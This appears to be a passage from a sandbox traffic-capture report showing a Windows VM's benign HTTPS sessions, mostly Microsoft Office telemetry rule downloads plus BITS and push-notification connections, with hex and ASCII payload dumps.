2024-12-07 21:40:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214018Z-r1cf579d778dc6d7hC1EWR2vs8000000047g000000001wuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214021Z-r1cf579d778dc6d7hC1EWR2vs800000004400000000069px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214021Z-r1cf579d778xq4f9hC1EWRx41g00000003800000000077ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214021Z-r1cf579d778xq4f9hC1EWRx41g0000000370000000008c7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214021Z-r1cf579d7786c2tshC1EWRr1gc00000003200000000068ew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214021Z-r1cf579d778qgtz2hC1EWRmgks000000038g000000006xv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49739	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 21:40:22 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=40710 Date: Sat, 07 Dec 2024 21:40:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49736	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 77 6a 64 32 62 49 6b 2b 6b 53 6c 31 71 63 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 65 33 36 38 64 34 32 38 66 39 63 64 34 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vwjd2bIk+kSl1qcK.1Context: 97e368d428f9cd46
2024-12-07 21:40:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 76 77 6a 64 32 62 49 6b 2b 6b 53 6c 31 71 63 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 65 33 36 38 64 34 32 38 66 39 63 64 34 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: vwjd2bIk+kSl1qcK.2Context: 97e368d428f9cd46<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:22 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 77 6a 64 32 62 49 6b 2b 6b 53 6c 31 71 63 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 65 33 36 38 64 34 32 38 66 39 63 64 34 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: vwjd2bIk+kSl1qcK.3Context: 97e368d428f9cd46<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-07 21:40:22 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:22 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 48 53 56 76 74 31 2b 54 30 71 38 78 4c 50 63 4f 71 4a 49 76 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HHSVvt1+T0q8xLPcOqJIvw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214023Z-r1cf579d7784wpmvhC1EWRk4cn00000002v00000000089s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214023Z-r1cf579d7789trgthC1EWRkkfc0000000470000000002mhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214023Z-r1cf579d7788pwqzhC1EWRrpd800000003u0000000002ez8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
